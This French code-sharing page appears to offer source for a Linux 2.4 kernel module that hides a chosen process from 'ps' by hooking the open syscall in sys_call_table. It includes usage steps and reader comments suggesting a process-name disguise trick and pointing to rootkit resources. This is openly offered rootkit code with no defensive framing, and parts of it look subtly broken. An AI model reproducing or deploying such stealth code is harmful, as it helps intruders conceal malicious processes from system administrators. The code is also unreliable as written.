Rendre un processus invisible sous linux "knoppix 3.6"

Soyez le premier à donner votre avis sur cette source.

Snippet vu 7 018 fois - Téléchargée 29 fois

Contenu du snippet

  • Utilisation: make
  • insmod procfs.o (pour charger le module
  • echo -n "N° du pid du processesus a rendre invisible" > /proc/procfs
  • rmmod procfs (pour décharger le processus
                                                                                                                                                                        • /

Testé sou une Knoppix 3.6 noyau 2.4.xx

Source / Exemple :


/***********************************************************************************

  • Module permettant de rendre un processus
  • non visible par la commande 'ps'
*
  • Utilisation: make
  • insmod procfs.o (pour charger le module
  • echo -n "N° du pid du processesus a rendre invisible" > /proc/procfs
  • rmmod procfs (pour décharger le processus
                                                                                                                                                                        • /
#include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> #include <asm/uaccess.h> #include <linux/fs.h> #include <linux/unistd.h> #include <sys/syscall.h> #include <linux/dirent.h> struct proc_dir_entry *Our_Proc_File; #define MESSAGE_LENGTH 80 #define PROC_ENTRY_FILENAME "rw_test" static char Message[MESSAGE_LENGTH]; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //On définit la macro dont on aura besoin, ici pour open //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //Pour pouvoir acceder a la sys_call_table //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// extern void *sys_call_table[]; int new_open(char*,int); int pid_furtif = 5531; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //On définit les variables ou sera stocker le syscall open original //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// int(*original_open)(char*,int); //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Module qui permet l'ecriture dans notre fichier procfs //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// static ssize_t module_output(struct file *filp,char *buffer,size_t length,loff_t * offset) { static int finished = 0; int i; char message[MESSAGE_LENGTH + 30]; if (finished) { finished = 0; return 0; } sprintf(message, "Last input:%s", Message); for (i = 0; i < length && message[i]; i++) { put_user(Message[i], buffer + i); } finished = 1; printk(message); return i; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Module qui nous permet de lire le fichier procfs qui contient le numero du processus a rendre invisible //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// static ssize_t module_input(struct file *filp, const char *buff, size_t len, loff_t * off) { int i; for (i = 0; i < MESSAGE_LENGTH && i < len; i++) { get_user(Message[i], buff + i); } pid_furtif = my_atoi(&Message); printk("%i\n",pid_furtif); Message[i] = '\0'; return i; } static struct file_operations File_Ops_2_Our_Proc_File = { .read = module_output, .write = module_input, }; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Module qui permet l'initialisation de notre module lors de son chargement //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// int init_module() { int rv = 0; Our_Proc_File = create_proc_entry("procfs", 0644, NULL); if (Our_Proc_File == NULL) { rv = ENOMEM; remove_proc_entry("procfs", &proc_root); printk(KERN_INFO "Error: Could not initialize /proc/procfs\n"); } Our_Proc_File->proc_fops = &File_Ops_2_Our_Proc_File; Our_Proc_File->owner = THIS_MODULE; Our_Proc_File->mode = S_IFREG | S_IRUGO; Our_Proc_File->uid = 0; Our_Proc_File->gid = 0; Our_Proc_File->size = 37; printk(KERN_INFO "Created /proc/procfs:\n"); original_open=sys_call_table[SYS_open]; sys_call_table[SYS_open]=new_open; return rv; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Module qui nous permet de decharger notre module en rendant le syscall open a son etat original et efface le fichier // procfs du dossier /proc //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// void cleanup_module() { sys_call_table[SYS_open]=original_open; remove_proc_entry("procfs", &proc_root); printk(KERN_INFO "/proc/procfs removed\n"); } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //Ici notre redefinition de la methode open //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// int new_open(char *chemin,int mode) { if(pid_furtif == my_atoi(chemin)) { return (-1); } else { return original_open(chemin,mode); } } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //Conversion d'une chaine de caracter en entier //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// uint my_atoi(char *n) { register uint ret = 0; while ((((*n) < '0') || ((*n)> '9')) && (*n)) { n++; } while((*n) >='0' && (*n) <= '9') { ret = ret * 10 + (*n) -'0'; n++; } return ret; }

Conclusion :


Version open source ;)

A voir également

Ajouter un commentaire Commentaires
Messages postés
12
Date d'inscription
lundi 21 novembre 2005
Statut
Membre
Dernière intervention
4 février 2006

il y a encore plus simple:

void main(int argv, chr *argv[])
{
strcpy(argv[0],"-bash");
...
}

et voila, le nom du processus du programme devient "-bash"
Messages postés
230
Date d'inscription
mardi 21 janvier 2003
Statut
Membre
Dernière intervention
15 mai 2008

Merci.
Messages postés
140
Date d'inscription
mercredi 3 juillet 2002
Statut
Membre
Dernière intervention
19 novembre 2006

Si tu veux du Windows look pour des rootkits win32 (Userland et Kernel Mode).
URls :
http://www.rootkit.com/
http://www.syshell.org/?r=../phrack62/NTILLUSION_fullpack.txt ou bien http://www.syshell.org/
http://www.phrack.org

Voilà, bonne lecture.
Messages postés
230
Date d'inscription
mardi 21 janvier 2003
Statut
Membre
Dernière intervention
15 mai 2008

Ca serait bien de préciser que c'est pour linux dans ton titre...

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.